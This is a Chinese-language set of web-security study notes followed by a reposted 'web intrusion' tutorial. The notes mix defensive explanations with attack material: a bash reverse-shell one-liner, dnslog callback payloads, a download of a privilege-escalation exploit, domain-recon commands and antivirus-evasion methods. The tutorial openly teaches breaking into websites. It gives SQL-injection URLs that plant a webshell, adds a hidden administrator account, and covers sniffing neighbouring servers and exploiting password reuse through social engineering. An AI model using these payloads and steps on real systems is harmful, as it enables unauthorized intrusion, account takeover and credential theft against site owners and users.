Filter,即跨站脚本过滤器,用于分析用户提交的输入,并过滤可能存在的脚本攻击及恶意的THML或简单的HTML格式错误等。2.输入过滤输入是否仅仅包含合法的字符;输入字符串是否超过最大长度限制;输入如果为数字,数字是否在指定的范围;输入是否符合特殊的格式要求,如E-mail地址、IP地址等3.输出编码<(小于号) 转成 &lt;> (大于号)转成 &gt;& (和号)转成 &amp;" (双引号)转成 &quot;' (单引号)转成 &#39;4.黑名单和白名单5.内容安全策略(csp):CSP用于限制浏览器查看您的页面,以便它只能使用从受信任来源下载的资源。CSRF跨站请求伪造原理网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,而在这个期间,攻击者发送了构造好的csrf脚本或包含csrf脚本的链接,可能会执行一些用户不想做的功能(比如是添加账号等)。防御1.验证 HTTP Referer 字段2.在请求地址中添加 token 并验证3.在 HTTP 头中自定义属性并验证SSRF服务器端请求伪造原因服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。防御1.限制协议:仅允许http和https请求。2.限制IP:避免应用被用来获取内网数据,攻击内网。3.限制端口:限制请求的端口为http常用的端口,比如,80,443,8080,8090。4.过滤返回信息:验证远程服务器对请求的响应是比较简单的方法。统一错误信息:免用户可以根据错误信息来判断远端服务器的端口状态。有回显 直接通过页面加载出目标资产,可先尝试加载http://www.baidu.com 页面确认有ssrf,如果成功的话,可进一步将百度换成内网IP,通过fuzz扫描内网资产。无回显 1.先配合dnslog平台,测试dnslog平台能否获取到服务器的访问记录,如果没有对应记录,也可能是服务器不出网造成的,利用时可以通过请求响应时间判断内网资产是否存在,然后再利用内网资产漏洞(比如redis以及常见可RCE的web框架)证明漏洞的有效性。 "... <!ENTITY test SYSTEM "SSRF.xxxx.ceye.io\\aa"> ..." "... <!ENTITY test SYSTEM "SSRF.lkun0l.dnslog.cn\\aa"> ..." 2.使用burp的collaborator来进行尝试 3.开启apache服务,在存在ssrf处访问http://10.1.1.200(本机服务地址),查看服务器日志信息,打开日志确定是否被访问,确定是否存在ssrf漏洞。文件上传文件上传漏洞是指文件上传功能没有对上传的文件做合理严谨的过滤,导致用户可以利用此功能,上传能被服务端解析执行的文件,并通过此文件获得执行服务端命令的能力通过利用任意文件上传漏洞可以最快获取WebShell,一般常见有三种情况:1.站点没有任何防护,且上传点未做安全校验,则可直接上传WebShell文件。2.站点存在简单防护: 前端校验文件后缀时,可先传允许的文件类型,然后抓包修改文件后缀。 MIME校验时,抓包修改Conten-Type为允许MIME类型。3.CMS等的通用任意文件上传漏洞:绕过黑白名单、绕过文件内容检测、CMS的文件上传漏洞绕过waf1.数据溢出2.数据阶段:%00截断3.去掉双引号绕过4.文件名后缀大小写绕过文件上传中include和require的区别1.加载失败的处理方式及不同include引入文件失败后会继续执行require失败后停止执行2.Include是有条件包含函数include 'file.php'; //file.php不会被引入Require是无条件包含函数require 'file.php'; //file.php将会被引入3.文件引用方式Include有返回值Require没有返回值文件解析Apache 解析漏洞:后缀解析Nginx解析漏洞:畸形解析漏洞、空字节代码执行漏洞IIS 6.0解析漏洞:目录解析、后缀解析文件包含当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。分类:本地包含和远程包含include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。XXE即xml外部实体注入漏洞原理XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。防御1、使用开发语言提供的禁用外部实体的方法。2、PHP:libxml_disable_entity_loader(true);2、过滤用户提交的XML数据关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。XSS和CSRF的区别XSS不需要登录,CSRF需要用户登录信息XSS攻击客户端,CSRF访问服务端XSS劫持用户信息,CSRF伪造用户身份访问正常网站CSRF和SSRF的区别(1)CSRF 是跨站请求伪造攻击,由客户端发起(2)SSRF 是服务器端请求伪造,由服务器发起CSRF 和 XSS 和 XXE 区别(1)XSS 是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用 HTTP Only 来禁止 JavaScript 读取Cookie 值、输入时校验、浏览器与 Web 应用端采用相同的字符编码。(2)CSRF 是跨站请求伪造攻击,XSS 是实现 CSRF 的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范 CSRF 的页面然后嵌入 Token、再次输入密码、检验 Referer(3)XXE 是 XML 外部实体注入攻击,XML 中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML 解析库在调用时严格禁止对外部实体的解析。中间件漏洞IIS:IIS6.0 PUT漏洞IIS6.0 远程代码执行漏洞IIS6.0 解析漏洞IIS启用.net 短文件名漏洞IIS7.0/7.5 解析漏洞Apache:未知扩展名解析漏洞配置错误导致的解析漏洞、目录遍历Nginx:配置错误导致的解析漏洞、目录遍历PHP代码审计容易出问题的点1、参数拼接方式皆有可能产生SQL注入(老生常谈)2、全局变量注册导致的变量覆盖3、fwrite参数未过滤导致的代码执行4、权限校验疏漏导致的后台功能访问5、接口任意文件上传6、unserialize反序列化漏洞GET 和 POST 的区别1、get是获取数据。post是修改数据。2、get把请求的数据放在url上,以?分割URL和传输数据,参数之间以&相连,所以get不太安全。post把数据放在HTTP的包体内(requrest body)。3、get提交的数据最大是2k( 限制实际上取决于浏览器)。post理论上没有限制。4、GET产生一个TCP数据包,浏览器会把http header和data一并发送出去,服务器响应200(返回数据)。POST产生两个TCP数据包,浏览器先发送header,服务器响应100 continue,浏览器再发送data,服务器响应200 ok(返回数据)。5、GET请求会被浏览器主动缓存。POST不会,除非手动设置。Cookie和Session的区别 1,存储的位置不同,cookie:存放在客户端,session:存放在服务端。Session存储的数据比较安全2,存储的数据类型不同两者都是key-value的结构,但针对value的类型是有差异的cookie:value只能是字符串类型,session:value是Object类型3,存储的数据大小限制不同cookie:大小受浏览器的限制,很多是4K的大小 session:理论上受当前内存的限制webshell的检测方法Grep、关键词、关键函数、安全狗、D盾。反弹shell常用命令1.bash反弹shellNc开启监听,然后通过bash进行反弹shellbash -i >& /dev/tcp/IP/端口 0>&12.Msf反弹shellMsf制作php木马,使用handler模块开始监听,反弹shell。内网渗透思路:攻击外网服务器、获取外网服务器的权限,接着利用入侵成功的外网服务器作为跳板、攻击内网其他服务器、最后获取敏感数据,vulnstack内网渗透靶场1.环境搭建2.信息收集3.通过漏洞利用获取webshell。4.通过webshell获取meterpreter,进行提权:生成后门程序、执行监听、上传并执行木马、提权。5.通过meterpreter进行内网信息收集:Ifconfig查看ipRoute查看路由Arp查看arp列表sysinfo查看目标系统信息;Getwd查看meterpreter所在目录Getpid查看meterpreter的进程号run get_local_subnets 查看当前主机的网段与掩码。6.根据收集到的内网信息进行横向渗透。将已经获取权限的服务器配置为代理服务器当做跳板,进行横向扩展,设置路由网关,使用metasploit内置模块对目标服务器进行信息收集与探测。7.痕迹清理。多层内网渗透的原理:渗透机win10+kali 第一层靶机(外网web服务器)第二层靶机(内网web服务器)第三层靶机(内网办公机)win7上传msf上传到第一层主机第一层主机的meterpreter添加第二层的网络路由,启用代理配置第二层网络。利用第二层主机的meterpreter添加第三层的网络路由,使用代理配置网络,设置端口(lcx、ew、socks)提权Linux提权内核漏洞提权 (cve-2016-5195)查看内核版本uname -a下载,编译生成exp文件Make执行版本过高:目前主流linux版本均受影响 Cve-2021-4034,使用wget https://github.com/berdav/CVE-2021-4034将文件下载到tmp文件中,然后make执行拿到root权限Suid提权:普通用户去执行 root 权限的操作,而不需要知道 root 的密码第三方软件提权免杀免杀就是反病毒技术,免于被查毒软件查杀。加冷门壳加壳改壳加花指令 通过加一些指令也就是花指令来达到免杀效果,原理跟改特征码差不多。例如杀毒软件本来是在0x00001000到0x00005000处找一个特征码。但因为我们填充了花指令,恶意代码跑到了0x00008000这个位置,就会导致特征码查杀失败,从而达到免杀目的。改特征码方法: 大多数杀毒软件都是基于特征码进行查杀的。方法:利用myccl工具查找定位复合特征码应急响应1.准备阶段:准备阶段要做的是主要是明确资产范围对可能产生安全问题的 地方进行加固。2.检测阶段:通过日常的监控,收集系统信息日志等手段对可疑的迹象进行分析,判断,如果判定他属于网络安全应急响应时间,则对该事件进行上报(可以利用netstat -ano查看端口连接情况,也可以使用tasklist | find “PID” 对具体进程定位。系统日志可以WIN+R,输入eventvw.msc,直接进入事件查看器分析日志)3.抑制阶段:分析影响范围,根据预案采取相应手段,限制攻击的范围,设置隔离区 ,把影响降低到最小(可以使用安全软件进行隔离,如果整台电脑完全沦陷,也可以考虑首先断网)4.根除阶段:分析产生安全事件的原因,如果是木马,,病毒就需要找出源头来并且遏制,如果是入侵行为就可以通过入侵检测的方式来检测数据流,也可以利用一些工具对病毒特征进行扫描分析和定位5.恢复阶段:对受到破坏的系统和信息进行恢复还原,从可信任的备份中恢复还原系统配置,数据库等等,并对其进行实时监控,确保无误的情况可适当去掉之前做的隔离等抑制等措施。6.总结阶段:对我们上面所发生的安全事件做一个总结,对你所使用到的有效的手段和方法做一个记录,对后面可能遇到的安全事件做一个示例反序列化PHP反序列化漏洞也叫PHP对象注入。PHP 中的序列化与反序列化,基本都是围绕serialize() 和unserialize() 两个函数展开的。序列化就是把一个对象变成可以传输的字符串,反序列化就是一个相反的过程,在php的反序列化当中存在着魔术函数,执行序列化操作时会自动执行这些函数.在研究反序列化漏洞过程中,如果遇到几个魔法函数就需要我们去重点关注。construct()当一个对象创建时被调用destruct()当一个对象销毁时被调用toString()当一个对象被当作一个字符串使用sleep() 在对象在被序列化之前运行wakeup将在序列化之后立即被调用如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞。溯源指从攻击者遗留下的信息进行反向查找,查找到攻击者的姓名,手机以及身份证号。1.攻击源捕获安全设备报警:扫描ip、威胁阻断、病毒木马等。日志与流量分析:异常的通讯流量、攻击源与攻击目标。服务器资源异常,异常的文件、账号、进程、服务等钓鱼邮件:获取恶意文件样本、钓鱼网站url等蜜罐系统:获取攻击者行为、意图的相关信息。2.溯源反制手段Ip定位技术:根据IP定位物理地址—代理IP网站url:域名whois查询-注册人的姓名、地址、电话和邮箱案例一:邮件钓鱼攻击溯源攻防场景:攻击者伪造正常的邮件、绕过邮件网关,将邮件投递到目标邮箱,诱骗用户点击邮件链接。信息收集: 通过查看邮件原文,获取发送方IP地址、域名后缀邮箱、钓鱼网站或恶意附件样本等信息。溯源方式:第一种,可以通过相关联的域名/IP进行追踪;第二种,对钓鱼网站进行反向渗透获取权限,进一步收集攻击者信息;第三种,通过对邮件恶意附件进行分析,利用威胁情报数据平台寻找同源样本获取信息,也能进一步对攻击者的画像进行勾勒。案例二:蜜罐溯源攻防场景:在企业内网部署蜜罐去模拟各种常见的应用服务,诱导攻击者攻击。溯源方式:在攻击者入侵蜜罐时,蜜罐可以记录攻击者的入侵行为,获取攻击者的主机信息、浏览器信息、甚至是真实 IP及社交信息。owasp top101.失效的访问控制2.加密机制失效3.注入4.不安全设计5.安全配置错误6.自带缺陷和过时的组件7.身份识别和身份验证错误8.软件和数据完整性故障9.安全日志和监控故障10.服务端请求伪造域渗透概念: 将网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域域渗透的思路: 通过域成员主机,定位出域控制器IP及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机IP,设法从域成员主机内存中dump出域管理员密码,进而拿下域控制器、渗透整个内网。常用指令: 得到域控制器的IP:dsquery server 得到域控制器主机名:net group "domain controllers" /domain 查询域管理用户:net group "domain admins" /domain 查看所有域用户: net user /domain登陆界面测试思路对登陆界面进行抓包,查看发送包和响应包。1.看是否有-cookie属性安全漏洞。查看setcookie是否有httponly。 HttpOnly是Cookie中一个属性,用于防止客户端脚本通过document.cookie属性访问Cookie,有助于保护Cookie不被跨站脚本攻击窃取或篡改。2.看是否有-响应头缺失漏洞。X-Content-Type-Options、HTTP Content-Security-Policy、单击劫持:X-Frame-Options3.看是否有-cors漏洞。4.看是否有-敏感信息明文传输漏洞。5.看是否有-启用不安全的http方法。在响应中查看allow头信息,在allow头中发现delete、put等选项。6.对账号密码进行爆破,测试是否有弱口令。7.验证码相关漏洞 验证码暴力破解:验证码具有一定的规律性,通过穷举或其它方式猜解出验证码。 验证码重复使用:当服务器端接受请求后,没有将上一次保存的session及时清空,将会导致验证码可重复使用。 验证码绕过:系统没有把验证码和用户放在一个请求里面校验,导致绕过了第一次验证码校验,就可以进行密码爆破。8.测试-短信爆破。看是否可多次发送短信。9.测试是否有-host头攻击漏洞。修改host为baidu.com,发包看是响应包的url是否为baidu.comDNSlog使用DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件通常用在 1.SQL盲注 2.无回显的XSS 3.无回显的命令执行 4.无回显的SSRF网址 http://www.dnslog.cn/ http://ceye.io/records/dns1.xss盲打 "<script src=http://XSS.XXXXX.ceye.io></script>" <ImG src=http://xss.9e5ehg.dnslog.cn>2.SSRF "... <!ENTITY test SYSTEM "SSRF.xxxx.ceye.io\\aa"> ..."3.命令执行 " ping %PATH%.pxxx.ceye.io ..."
web入侵
一:注入类:access数据库<1>首先猜解管理员密码:手工猜解(当然,如果你有基础,这里就很简单。如果没学过,其实只要记下一些常用的语句就可以了。)工具猜解。我建议用zwell的穿山甲,也就是pangolin..或者是NBSI。前者猜解速度非常强悍。而猜解的准确率两者都很好。找出后台:用明小子,啊D,等工具都可以找的。但有时候会找不到。为什么呢?建议用多线程后台扫描工具。里面的字典你可以从明小子等那些工具里综合起来。还有一点。平时检测网站的时候遇到一些你字典里没有的后台名称。要注意积累下来。另外种方法找后台当然就是googlehack了。Admin site:xxx.com管理 site:xxx.comSite:xxx.com inurl:login等等。这些靠自己构造。<2>跨库查询使用跨库查询有两个前提:1:使用union查询必须知道前一个select里表的字段数2:必须知道目标数据库的所在位置,绝对路径。具体文章可以参照这里:http://www.4ngel.net/article/46.htmSQL网站渗透方法MSSQL数据库:1:SA权限一般说来,无论谁拿到一个SA权限的注射点。都会很开心。<1>直接执行net user等命令。<2>可列目录但不能执行系统命令。可以列出目录找出网站中可以利用的地方,比如ewebeditor,或者上传地址(试试是否有上传漏洞),等等。或者找服务器下其他网站,然后入侵之。如果无其他漏洞可以找到,那就利用备份得到一个webshell。<3>无cmdshell那就恢复之。详细请在论坛或者百度搜索相关文章。<4>如果无法恢复cmdshell也就是利用的sp_oacreate来执行。可以通过5次shift来登陆3389还可以利用sp_makewebtask直接在web目录里写入一句话马http://127.0.0.1/sql.asp?id=1';exec%20sp_makewebtask%20'd:\www\xxx.asp','%20select%20''<%25execute(request("a"))%25>''%20';--还可以利用沙盒模式提权EXEC%20master.dbo.xp_regwrite%20'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--Select*From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user aloner$ aloner /add")');--;Select*From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators aloner$ /add")');--如果上述方法仍然不行,那就猜解出后台帐户和密码,然后登陆后台。看看有没什么可以利用的。2:db权限Db权限可以列出网站目录,然后备份。用一句话连接得到webshell.如果可以列目录,但无法备份,也同样可以利用找其他漏洞来入侵。毕竟整个网站都可以被你浏览了。然后就是猜解出后台帐户和密码登陆后台了。还有一种就是关于一篇db权限备份到启动项得到系统权限。public权限此权限很多人不会利用。但是可以列出目录的。Mysql数据库:Root权限下可以直接利用loadfile读取网站的文件内容(网站的配置信息)然后就是注入语句得到管理员密码,登陆后台二:上传类1:直接上传木马2:修改后缀名修改。比如修改成.asa .cer等。3:图片头欺骗在木马代码前加上 gif89a,有时可以成功通过验证。4:抓包nc上传这个比较烦。这个可以大家自己从网上找一下相关的文章和教程。5:直接(抓包)利用明小子或者其他工具上传木马三:暴库:详细请在论坛或者百度搜索相关文章。现在暴库漏洞很少了。四:cookies欺骗。如果我们现在已经知道了XX站管理员的站号和MD5密码了 但是破解 不出来密码(MD5是加密后的一个16位的密码)我们就可以用COOKIE诈骗来实现,把自己的ID修改成管理员的,MD5密码也修改成他的,有工具可以修改 COOKIE 这样就答到了COOKIE诈骗的目的,系统以为你就是管理员了。(这个漏洞在新云2.0里可以利用)五:旁注什么是旁注呢?在我们入侵目标站点不成功的时候,我们可以通过入侵它服务器的其他网站,得到webshell,然后提权。这点就需要你对提权有所认识的基础下了。在上述几种方法中我把SQL注入讲的稍微详细些。因为毕竟现在SQL注入满天飞。其他几种漏洞不是太多的。但也不少。呵呵。五:嗅探当我们入侵目标网站无望,且旁注无望时,我们就需要入侵服务器所在的C段去得到一个服务器。比如我们的目标是222.222.222.1。那我们就需要入侵222.222.222.2----222.222.222.255中的一台。然后去嗅探得到目标的21 80 1433 3306 3389等对应端口的相关密码。六.社会工程学入侵。whois查询。得到管理员的姓名,邮箱,电话,等等之类信息然后通过得到一些信息,可以利用。比如我们得到xxx.com的管理员油箱是aaa@163.com我们就可以去google搜索:aaa@163.com或者是aaa.以此类推。入侵一个比较容易拿下的站。然后查询数据库得到此帐户注册时的密码。可以试下是否是油箱的密码。甚至是这个网站的后台,ftp,等的密码。社会工程学太深了。我也没办法讲很多。但我刚说的这点已经利用很大了。主要利用的还是个人心理。一般密码设置很多都会去用同一个密码的。总结:渗透这东西太复杂了。主要还是靠自己的灵活运用。以及对各种入侵方法的理解。无论什么东西。都是在你不断的尝试与探索下得到的。
本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/437819,如需转载请自行联系原作者